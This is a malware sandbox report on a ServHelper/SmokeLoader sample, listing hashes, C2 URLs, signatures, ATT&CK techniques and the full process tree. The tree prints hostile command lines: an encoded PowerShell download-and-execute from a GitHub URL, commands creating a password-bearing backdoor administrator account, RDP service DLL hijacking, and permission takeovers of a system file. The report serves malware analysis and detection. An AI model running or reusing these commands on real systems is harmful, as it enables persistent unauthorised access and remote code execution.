servhelper | 991e3c5fb9946ed0490a723a541bda0f36a9b94fff8a68f6729c15e1044dd954

Analysis

max time kernel
150s
max time network
129s
platform
windows7_x64
resource
win7-en-20210920
submitted
18-10-2021 13:00

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General

Target

2b858c79a8a7a652f8cb60059eb7a95a.exe
Size

343KB
MD5

2b858c79a8a7a652f8cb60059eb7a95a
SHA1

e669008a553976d275388ee02e49d5c938a6c27b
SHA256

991e3c5fb9946ed0490a723a541bda0f36a9b94fff8a68f6729c15e1044dd954
SHA512

c893d061191282d82bb421ef587b5c0dd973a31aec371d1bba6aba83a5a48444bc1660b9aa80d0f8f1f3beceb86825de2b249a0ffb64c905588f11c4a0bae8c9

Score

10^/10

servhelper smokeloader backdoor discovery exploit persistence suricata trojan upx

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Extracted

Family

smokeloader

Version

2020

http://directorycart.com/upload/

http://tierzahnarzt.at/upload/

http://streetofcards.com/upload/

http://ycdfzd.com/upload/

http://successcoachceo.com/upload/

http://uhvu.cn/upload/

http://japanarticle.com/upload/

rc4.i32

Signatures

ServHelper
ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.
trojan backdoor servhelper
SmokeLoader
Modular backdoor trojan in use since 2014.
trojan backdoor smokeloader
suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile
suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile
suricata
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Blocklisted process makes network request 2 IoCs

flow	pid	Process
33	2020	powershell.exe
34	2020	powershell.exe

Downloads MZ/PE file

Executes dropped EXE 1 IoCs

pid	Process
1100	9859.exe

Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1076

Possible privilege escalation attempt 8 IoCs

exploit

pid	Process
708	icacls.exe
1112	icacls.exe
1692	icacls.exe
1384	icacls.exe
1224	icacls.exe
1708	takeown.exe
108	icacls.exe
1740	icacls.exe

Sets DLL path for service in the registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x0009000000012237-141.dat	upx
behavioral1/files/0x002200000000f5b4-142.dat	upx

Deletes itself 1 IoCs

pid	Process
1212	Process not Found

Loads dropped DLL 4 IoCs

pid	Process
1212	Process not Found
1212	Process not Found
992	Process not Found
992	Process not Found

Modifies file permissions 1 TTPs 8 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
1384	icacls.exe
1224	icacls.exe
1708	takeown.exe
108	icacls.exe
1740	icacls.exe
708	icacls.exe
1112	icacls.exe
1692	icacls.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\system32\rfxvmt.dll	powershell.exe

Drops file in Windows directory 9 IoCs

description	ioc	Process
File opened for modification	C:\Windows\branding\wupsvc.jpg	powershell.exe
File created	C:\Windows\branding\mediasvc.png	powershell.exe
File created	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\branding\ShellBrd	powershell.exe
File opened for modification	C:\Windows\branding\mediasvc.png	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\381LT172OHC3YEH1R8HF.temp	powershell.exe
File created	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\branding\Basebrd	powershell.exe
File opened for modification	C:\Windows\branding\mediasrv.png	powershell.exe

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	2b858c79a8a7a652f8cb60059eb7a95a.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	2b858c79a8a7a652f8cb60059eb7a95a.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	2b858c79a8a7a652f8cb60059eb7a95a.exe

Modifies data under HKEY_USERS 4 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 6044665020c4d701	powershell.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
1608	reg.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
612	2b858c79a8a7a652f8cb60059eb7a95a.exe
612	2b858c79a8a7a652f8cb60059eb7a95a.exe
1212	Process not Found
1212	Process not Found
1212	Process not Found
1212	Process not Found
1212	Process not Found
1212	Process not Found
1212	Process not Found
1212	Process not Found
1212	Process not Found
1212	Process not Found
1212	Process not Found
1212	Process not Found
1212	Process not Found
1212	Process not Found
1212	Process not Found
1212	Process not Found
1212	Process not Found
1212	Process not Found
1212	Process not Found
1212	Process not Found
1212	Process not Found
1212	Process not Found
1212	Process not Found
1212	Process not Found
1212	Process not Found
1212	Process not Found
1212	Process not Found
1212	Process not Found
1212	Process not Found
1212	Process not Found
1212	Process not Found
1212	Process not Found
1212	Process not Found
1212	Process not Found
1212	Process not Found
1212	Process not Found
1212	Process not Found
1212	Process not Found
1212	Process not Found
1212	Process not Found
1212	Process not Found
1212	Process not Found
1212	Process not Found
1212	Process not Found
1212	Process not Found
1212	Process not Found
1212	Process not Found
1212	Process not Found
1212	Process not Found
1212	Process not Found
1212	Process not Found
1212	Process not Found
1212	Process not Found
1212	Process not Found
1212	Process not Found
1212	Process not Found
1212	Process not Found
1212	Process not Found
1212	Process not Found
1212	Process not Found
1212	Process not Found
1212	Process not Found

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
1212	Process not Found

Suspicious behavior: LoadsDriver 4 IoCs

pid	Process
468	Process not Found
992	Process not Found
992	Process not Found
992	Process not Found

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
612	2b858c79a8a7a652f8cb60059eb7a95a.exe

Suspicious use of AdjustPrivilegeToken 18 IoCs

description	pid	Process
Token: SeDebugPrivilege	1816	powershell.exe
Token: SeDebugPrivilege	1408	powershell.exe
Token: SeDebugPrivilege	1516	powershell.exe
Token: SeDebugPrivilege	1584	powershell.exe
Token: SeRestorePrivilege	1740	icacls.exe
Token: SeAssignPrimaryTokenPrivilege	920	WMIC.exe
Token: SeIncreaseQuotaPrivilege	920	WMIC.exe
Token: SeAuditPrivilege	920	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	920	WMIC.exe
Token: SeIncreaseQuotaPrivilege	920	WMIC.exe
Token: SeAuditPrivilege	920	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1620	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1620	WMIC.exe
Token: SeAuditPrivilege	1620	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1620	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1620	WMIC.exe
Token: SeAuditPrivilege	1620	WMIC.exe
Token: SeDebugPrivilege	2020	powershell.exe

Suspicious use of FindShellTrayWindow 4 IoCs

pid	Process
1212	Process not Found
1212	Process not Found
1212	Process not Found
1212	Process not Found

Suspicious use of SendNotifyMessage 4 IoCs

pid	Process
1212	Process not Found
1212	Process not Found
1212	Process not Found
1212	Process not Found

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1212 wrote to memory of 1100	1212	Process not Found	27
PID 1212 wrote to memory of 1100	1212	Process not Found	27
PID 1212 wrote to memory of 1100	1212	Process not Found	27
PID 1100 wrote to memory of 1816	1100	9859.exe	29
PID 1100 wrote to memory of 1816	1100	9859.exe	29
PID 1100 wrote to memory of 1816	1100	9859.exe	29
PID 1816 wrote to memory of 1240	1816	powershell.exe	31
PID 1816 wrote to memory of 1240	1816	powershell.exe	31
PID 1816 wrote to memory of 1240	1816	powershell.exe	31
PID 1240 wrote to memory of 1948	1240	csc.exe	32
PID 1240 wrote to memory of 1948	1240	csc.exe	32
PID 1240 wrote to memory of 1948	1240	csc.exe	32
PID 1816 wrote to memory of 1408	1816	powershell.exe	33
PID 1816 wrote to memory of 1408	1816	powershell.exe	33
PID 1816 wrote to memory of 1408	1816	powershell.exe	33
PID 1816 wrote to memory of 1516	1816	powershell.exe	35
PID 1816 wrote to memory of 1516	1816	powershell.exe	35
PID 1816 wrote to memory of 1516	1816	powershell.exe	35
PID 1816 wrote to memory of 1584	1816	powershell.exe	37
PID 1816 wrote to memory of 1584	1816	powershell.exe	37
PID 1816 wrote to memory of 1584	1816	powershell.exe	37
PID 1816 wrote to memory of 1708	1816	powershell.exe	41
PID 1816 wrote to memory of 1708	1816	powershell.exe	41
PID 1816 wrote to memory of 1708	1816	powershell.exe	41
PID 1816 wrote to memory of 108	1816	powershell.exe	42
PID 1816 wrote to memory of 108	1816	powershell.exe	42
PID 1816 wrote to memory of 108	1816	powershell.exe	42
PID 1816 wrote to memory of 1740	1816	powershell.exe	43
PID 1816 wrote to memory of 1740	1816	powershell.exe	43
PID 1816 wrote to memory of 1740	1816	powershell.exe	43
PID 1816 wrote to memory of 708	1816	powershell.exe	44
PID 1816 wrote to memory of 708	1816	powershell.exe	44
PID 1816 wrote to memory of 708	1816	powershell.exe	44
PID 1816 wrote to memory of 1112	1816	powershell.exe	45
PID 1816 wrote to memory of 1112	1816	powershell.exe	45
PID 1816 wrote to memory of 1112	1816	powershell.exe	45
PID 1816 wrote to memory of 1692	1816	powershell.exe	46
PID 1816 wrote to memory of 1692	1816	powershell.exe	46
PID 1816 wrote to memory of 1692	1816	powershell.exe	46
PID 1816 wrote to memory of 1384	1816	powershell.exe	47
PID 1816 wrote to memory of 1384	1816	powershell.exe	47
PID 1816 wrote to memory of 1384	1816	powershell.exe	47
PID 1816 wrote to memory of 1224	1816	powershell.exe	48
PID 1816 wrote to memory of 1224	1816	powershell.exe	48
PID 1816 wrote to memory of 1224	1816	powershell.exe	48
PID 1816 wrote to memory of 1144	1816	powershell.exe	49
PID 1816 wrote to memory of 1144	1816	powershell.exe	49
PID 1816 wrote to memory of 1144	1816	powershell.exe	49
PID 1816 wrote to memory of 1608	1816	powershell.exe	50
PID 1816 wrote to memory of 1608	1816	powershell.exe	50
PID 1816 wrote to memory of 1608	1816	powershell.exe	50
PID 1816 wrote to memory of 888	1816	powershell.exe	51
PID 1816 wrote to memory of 888	1816	powershell.exe	51
PID 1816 wrote to memory of 888	1816	powershell.exe	51
PID 1816 wrote to memory of 796	1816	powershell.exe	52
PID 1816 wrote to memory of 796	1816	powershell.exe	52
PID 1816 wrote to memory of 796	1816	powershell.exe	52
PID 796 wrote to memory of 1800	796	net.exe	53
PID 796 wrote to memory of 1800	796	net.exe	53
PID 796 wrote to memory of 1800	796	net.exe	53
PID 1816 wrote to memory of 1056	1816	powershell.exe	54
PID 1816 wrote to memory of 1056	1816	powershell.exe	54
PID 1816 wrote to memory of 1056	1816	powershell.exe	54
PID 1056 wrote to memory of 1028	1056	cmd.exe	55

C:\Users\Admin\AppData\Local\Temp\2b858c79a8a7a652f8cb60059eb7a95a.exe
"C:\Users\Admin\AppData\Local\Temp\2b858c79a8a7a652f8cb60059eb7a95a.exe"
1⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
PID:612

C:\Users\Admin\AppData\Local\Temp\9859.exe
C:\Users\Admin\AppData\Local\Temp\9859.exe
1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:1100
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
  2⤵
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1816
- - C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\ad-mfwll.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1240
  - - C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESBE9F.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCBE9E.tmp"
      4⤵
      PID:1948
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1408
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1516
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1584
- - C:\Windows\system32\takeown.exe
    "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1708
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:108
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:1740
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:708
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1112
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1692
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1384
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1224
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
    3⤵
    PID:1144
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
    3⤵
    - Modifies registry key
    PID:1608
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
    3⤵
    PID:888
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:796
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
      4⤵
      PID:1800
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1056
  - - C:\Windows\system32\cmd.exe
      cmd /c net start rdpdr
      4⤵
      PID:1028
    - - C:\Windows\system32\net.exe
        
        net start rdpdr
        5⤵
        
        PID:1620
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start rdpdr
        6⤵
        
        PID:1616
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
    3⤵
    PID:1520
  - - C:\Windows\system32\cmd.exe
      cmd /c net start TermService
      4⤵
      PID:1456
    - - C:\Windows\system32\net.exe
        
        net start TermService
        5⤵
        
        PID:572
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start TermService
        6⤵
        
        PID:1340
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
    3⤵
    PID:1416
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
    3⤵
    PID:976

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc 000000 /del
1⤵
PID:1312
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc 000000 /del
  2⤵
  PID:1320
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
    3⤵
    PID:1740

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc dWzoqGmg /add
1⤵
PID:556
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc dWzoqGmg /add
  2⤵
  PID:1764
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc dWzoqGmg /add
    3⤵
    PID:748

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
1⤵
PID:844
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
  2⤵
  PID:1608
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
    3⤵
    PID:1488

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" JZCKHXIN$ /ADD
1⤵
PID:1016
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" JZCKHXIN$ /ADD
  2⤵
  PID:796
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" JZCKHXIN$ /ADD
    3⤵
    PID:816

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
1⤵
PID:1028
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
  2⤵
  PID:1780
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
    3⤵
    PID:1644

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc dWzoqGmg
1⤵
PID:892
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc dWzoqGmg
  2⤵
  PID:1728
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc dWzoqGmg
    3⤵
    PID:392

C:\Windows\System32\cmd.exe
cmd.exe /C wmic path win32_VideoController get name
1⤵
PID:1540
- C:\Windows\System32\Wbem\WMIC.exe
  wmic path win32_VideoController get name
  2⤵
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:920

C:\Windows\System32\cmd.exe
cmd.exe /C wmic CPU get NAME
1⤵
PID:1056
- C:\Windows\System32\Wbem\WMIC.exe
  wmic CPU get NAME
  2⤵
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1620

C:\Windows\System32\cmd.exe
cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
1⤵
PID:108
- C:\Windows\system32\cmd.exe
  cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
  2⤵
  PID:1644
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
    3⤵
    - Blocklisted process makes network request
    - Drops file in Windows directory
    - Modifies data under HKEY_USERS
    - Suspicious use of AdjustPrivilegeToken
    PID:2020

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Account Manipulation

T1098

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Modify Registry

T1112

Credential Access

Account Manipulation

T1098

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Remote Desktop Protocol

T1076

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/612-54-0x000000000082B000-0x000000000083C000-memory.dmp

Filesize
68KB

Download
memory/612-55-0x0000000075651000-0x0000000075653000-memory.dmp

Filesize
8KB

Download
memory/612-56-0x0000000000220000-0x0000000000229000-memory.dmp

Filesize
36KB

Download
memory/612-57-0x0000000000400000-0x0000000000788000-memory.dmp

Filesize
3.5MB

Download
memory/1100-66-0x0000000041224000-0x0000000041226000-memory.dmp

Filesize
8KB

Download
memory/1100-63-0x00000000416A0000-0x0000000041A9F000-memory.dmp

Filesize
4.0MB

Download
memory/1100-65-0x0000000041222000-0x0000000041224000-memory.dmp

Filesize
8KB

Download
memory/1100-68-0x0000000041227000-0x0000000041228000-memory.dmp

Filesize
4KB

Download
memory/1100-67-0x0000000041226000-0x0000000041227000-memory.dmp

Filesize
4KB

Download
memory/1212-58-0x0000000002940000-0x0000000002956000-memory.dmp

Filesize
88KB

Download
memory/1240-86-0x00000000008B0000-0x00000000008B2000-memory.dmp

Filesize
8KB

Download
memory/1408-97-0x0000000002794000-0x0000000002797000-memory.dmp

Filesize
12KB

Download
memory/1408-93-0x0000000002790000-0x0000000002792000-memory.dmp

Filesize
8KB

Download
memory/1408-94-0x000000001B9A0000-0x000000001BC9F000-memory.dmp

Filesize
3.0MB

Download
memory/1408-98-0x0000000002797000-0x0000000002798000-memory.dmp

Filesize
4KB

Download
memory/1408-92-0x000007FEEB530000-0x000007FEEC08D000-memory.dmp

Filesize
11.4MB

Download
memory/1408-96-0x000000000279C000-0x00000000027BB000-memory.dmp

Filesize
124KB

Download
memory/1408-95-0x0000000002792000-0x0000000002794000-memory.dmp

Filesize
8KB

Download
memory/1516-105-0x00000000028A2000-0x00000000028A4000-memory.dmp

Filesize
8KB

Download
memory/1516-104-0x00000000028A0000-0x00000000028A2000-memory.dmp

Filesize
8KB

Download
memory/1516-103-0x000000001B7E0000-0x000000001BADF000-memory.dmp

Filesize
3.0MB

Download
memory/1516-108-0x00000000028AC000-0x00000000028CB000-memory.dmp

Filesize
124KB

Download
memory/1516-102-0x000007FEEB530000-0x000007FEEC08D000-memory.dmp

Filesize
11.4MB

Download
memory/1516-107-0x00000000028A7000-0x00000000028A8000-memory.dmp

Filesize
4KB

Download
memory/1516-106-0x00000000028A4000-0x00000000028A7000-memory.dmp

Filesize
12KB

Download
memory/1584-115-0x0000000002652000-0x0000000002654000-memory.dmp

Filesize
8KB

Download
memory/1584-113-0x0000000002650000-0x0000000002652000-memory.dmp

Filesize
8KB

Download
memory/1584-112-0x000007FEEB530000-0x000007FEEC08D000-memory.dmp

Filesize
11.4MB

Download
memory/1584-117-0x0000000002654000-0x0000000002657000-memory.dmp

Filesize
12KB

Download
memory/1584-118-0x000000000265C000-0x000000000267B000-memory.dmp

Filesize
124KB

Download
memory/1584-114-0x0000000002657000-0x0000000002658000-memory.dmp

Filesize
4KB

Download
memory/1584-116-0x000000001B8A0000-0x000000001BB9F000-memory.dmp

Filesize
3.0MB

Download
memory/1816-72-0x000000001B700000-0x000000001B9FF000-memory.dmp

Filesize
3.0MB

Download
memory/1816-70-0x000007FEFC271000-0x000007FEFC273000-memory.dmp

Filesize
8KB

Download
memory/1816-75-0x0000000002754000-0x0000000002757000-memory.dmp

Filesize
12KB

Download
memory/1816-73-0x0000000002750000-0x0000000002752000-memory.dmp

Filesize
8KB

Download
memory/1816-71-0x000007FEEB530000-0x000007FEEC08D000-memory.dmp

Filesize
11.4MB

Download
memory/1816-85-0x000000000275B000-0x000000000277A000-memory.dmp

Filesize
124KB

Download
memory/1816-74-0x0000000002752000-0x0000000002754000-memory.dmp

Filesize
8KB

Download
memory/1816-88-0x000000000277D000-0x000000000277E000-memory.dmp

Filesize
4KB

Download
memory/2020-163-0x0000000000FE4000-0x0000000000FE7000-memory.dmp

Filesize
12KB

Download
memory/2020-164-0x0000000000FEB000-0x000000000100A000-memory.dmp

Filesize
124KB

Download
memory/2020-161-0x0000000000FE0000-0x0000000000FE2000-memory.dmp

Filesize
8KB

Download
memory/2020-162-0x0000000000FE2000-0x0000000000FE4000-memory.dmp

Filesize
8KB

Download
memory/2020-160-0x000007FEEB530000-0x000007FEEC08D000-memory.dmp

Filesize
11.4MB

Download